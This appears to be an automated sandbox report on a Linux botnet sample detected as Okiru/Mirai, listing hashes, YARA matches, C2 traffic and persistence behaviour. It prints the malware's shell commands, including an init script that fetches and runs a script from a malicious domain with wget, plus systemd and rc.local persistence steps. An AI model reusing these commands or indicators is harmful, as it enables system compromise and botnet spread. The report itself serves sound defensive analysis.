Linux Analysis Report
x86_64.nn.elf

Overview

General Information

Sample name:	x86_64.nn.elf
Analysis ID:	1522874
MD5:	1394937a79d6f023e8abfd09ee3deb1a
SHA1:	3b1f06041c6fbdf1ba334b518f4a13e3ace3560f
SHA256:	42845557a515bc05c290b3ab9d1ad291303691d472db9e09863bfc782b803ed2
Tags:	elfpen-gorillafirewall-suuser-JAMESWT_MHT
Infos:

Detection

Okiru

Score:	96
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Drops files in suspicious directories

Machine Learning detection for sample

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Detected TCP or UDP traffic on non-standard ports

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Writes shell script file to disk with an unusual file extension

Yara signature match

Classification

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: x86_64.nn.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: x86_64.nn.elf

ReversingLabs: Detection: 47%

Machine Learning detection for sample

Source: x86_64.nn.elf

Joe Sandbox ML: detected

Found strings indicative of a multi-platform dropper

Source: x86_64.nn.elf

String: Found And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_11047815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnetbashhttpdtelnetddropbearencodersystem/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt487154914:1553<41<515791446<614561;814994;8153;148;14<5which gdb > /dev/null 2>&1which lldb > /dev/null 2>&1which dtrace > /dev/null 2>&1which truss > /dev/null 2>&1which ptrace > /dev/null 2>&1LD_PRELOADLD_LIBRARY_PATHLD_AUDIT/procw/etc/motd%s

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 91.92.246.113 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 93.123.85.166 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.17.220 ports 38241,1,2,3,4,8

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.23:56032 -> 45.202.35.64:199
Source: global traffic	TCP traffic: 192.168.2.23:46410 -> 154.216.17.220:38241
Source: global traffic	TCP traffic: 192.168.2.23:33832 -> 91.92.246.113:38241
Source: global traffic	TCP traffic: 192.168.2.23:57290 -> 93.123.85.166:38241

Sample listens on a socket

Source: /tmp/x86_64.nn.elf (PID: 6275)

Socket: 0.0.0.0:38241

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64

Source: x86_64.nn.elf, 6275.1.00007ffd0cf0f000.00007ffd0cf30000.rw-.sdmp, inittab.16.dr, profile.16.dr, custom.service.16.dr, bootcmd.16.dr, mybinary.16.dr, x86_64.nn.elf.38.dr	String found in binary or memory: http://pen.gorillafirewall.su/
Source: x86_64.nn.elf, 6275.1.00007ffd0cf0f000.00007ffd0cf30000.rw-.sdmp	String found in binary or memory: http://pen.gorillafirewall.su/lol.sh

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: Found And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_11047815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)socket/tmp/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnetbashhttpdtelnetddropbearencodersystem/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt487154914:1553<41<515791446<614561;814994;8153;148;14<5which gdb > /dev/nu

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample tries to kill a process (SIGKILL)

Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 1664, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 2102, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 2223, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 6279, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 6285, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 6299, result: successful	Jump to behavior

Yara signature match

Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16

Source: classification engine

Classification label: mal96.spre.troj.evad.linELF@0/9@0/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/x86_64.nn.elf (PID: 6275)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/x86_64.nn.elf (PID: 6275)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 6289)	File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary	Jump to behavior
Source: /usr/bin/ln (PID: 6296)	File: /etc/rc.d/S99x86_64.nn.elf -> /etc/init.d/x86_64.nn.elf	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/x86_64.nn.elf (PID: 6275)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6287)	File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6292)	File: /etc/init.d/x86_64.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Executes commands using a shell command-line interpreter

Source: /tmp/x86_64.nn.elf (PID: 6277)	Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6286)	Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6288)	Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6290)	Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/x86_64.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting x86_64.nn.elf'\n /tmp/x86_64.nn.elf &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping x86_64.nn.elf'\n killall x86_64.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/x86_64.nn.elf"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6291)	Shell command executed: sh -c "chmod +x /etc/init.d/x86_64.nn.elf >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6293)	Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6295)	Shell command executed: sh -c "ln -s /etc/init.d/x86_64.nn.elf /etc/rc.d/S99x86_64.nn.elf >/dev/null 2>&1"	Jump to behavior

Executes the "chmod" command used to modify permissions

Source: /bin/sh (PID: 6287)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary			Jump to behavior
Source: /bin/sh (PID: 6292)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/x86_64.nn.elf			Jump to behavior

Executes the "mkdir" command used to create folders

Source: /bin/sh (PID: 6294)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Executes the "rm" command used to delete files or directories

Source: /usr/bin/dash (PID: 6246)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.gkcdoXte3H /tmp/tmp.ZovgPejUCK /tmp/tmp.AO1EzK0HHw			Jump to behavior
Source: /usr/bin/dash (PID: 6247)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.gkcdoXte3H /tmp/tmp.ZovgPejUCK /tmp/tmp.AO1EzK0HHw			Jump to behavior

Executes the "systemctl" command used for controlling the systemd system and service manager

Source: /bin/sh (PID: 6278)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Sample tries to set the executable flag

Source: /tmp/x86_64.nn.elf (PID: 6275)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6287)	File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6292)	File: /etc/init.d/x86_64.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Writes shell script file to disk with an unusual file extension

Source: /tmp/x86_64.nn.elf (PID: 6275)	Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary	Jump to dropped file
Source: /tmp/x86_64.nn.elf (PID: 6275)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 6290)	Writes shell script file to disk with an unusual file extension: /etc/init.d/x86_64.nn.elf	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/x86_64.nn.elf (PID: 6275)	File: /etc/init.d/mybinary			Jump to dropped file
Source: /bin/sh (PID: 6290)	File: /etc/init.d/x86_64.nn.elf			Jump to dropped file

Stealing of Sensitive Information

Yara detected Okiru

Source: Yara match	File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match	File source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6275, type: MEMORYSTR

Remote Access Functionality

Yara detected Okiru

Source: Yara match	File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match	File source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6275, type: MEMORYSTR

Screenshots

No Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
54.171.230.55	unknown	United States	16509	AMAZON-02US	false
154.216.17.220	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	true
45.202.35.64	unknown	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.92.246.113	unknown	Bulgaria	34368	THEZONEBG	true
93.123.85.166	unknown	Bulgaria	43561	NET1-ASBG	true

Name	Type	MD5	SHA1	SHA256
/boot/bootcmd	ASCII text	C43AF51A730177D5BE97893495E9C56E	2CF3CE48EBCD44E8F40BAE4EC9AF2F38EFEAE253	F87A5DFC4CBB84E295E6239D2207A21B53681EE9CA225DC3CE54F8D23BE6D86A
/etc/init.d/mybinary	POSIX shell script, ASCII text executable	FC98AE985142E9D860067130B0A6C0BA	A74297F4B49100CFD2118F7DD7BBC7C7EAF5C343	F8827A346B4040C954E21EBAFB0E39F74DEE1B60348F367745C9251A726D46C3
/etc/init.d/x86_64.nn.elf	POSIX shell script, ASCII text executable	B88D577D8BA64636EAA4B85146D2BCE4	715B18797C8EEC1FB4BFF960DB9145AC4584944E	1FDAED3926CA03F6E2973914FC45A40CF93E7EB57AACBD07AD2172374C28DDD2
/etc/inittab	ASCII text	691DFDB2AE36E857ECF95A9826EE84FF	41FCC9910C2F8C23CF13713C05879737390182CB	7638F6E1EE0FA5C5AC4040045B60961BED3F6FA643DD3178DF1FF2FD73195C24
/etc/motd	ASCII text	2BD9B4BE30579E633FC0191AA93DF486	7D63A9BD9662E86666B27C1B50DB8E7370C624FF	64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
/etc/profile	ASCII text	5105559F960624F72CA3C99DFD37B750	7B7A35F2D35C08A5BB3BD28254903717C947DFED	0F0FDA85F400F63860D87D093089C9A10B15AAA0BF607B38D1C7388CA7F4DA0B
/etc/rc.local	POSIX shell script, ASCII text executable	3E2B31C72181B87149FF995E7202C0E3	BD971BEC88149956458A10FC9C5ECB3EB99DD452	A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
/etc/systemd/system/custom.service	ASCII text	7EAD9B688BCB031A399760E2DF6B684C	363C6C4AC23B0F0EC2ABD8C62F25BF6DBD170726	0454F305C7C20E99329EB961C1E232D84111056A9F6A176508176076A5DAB6D2
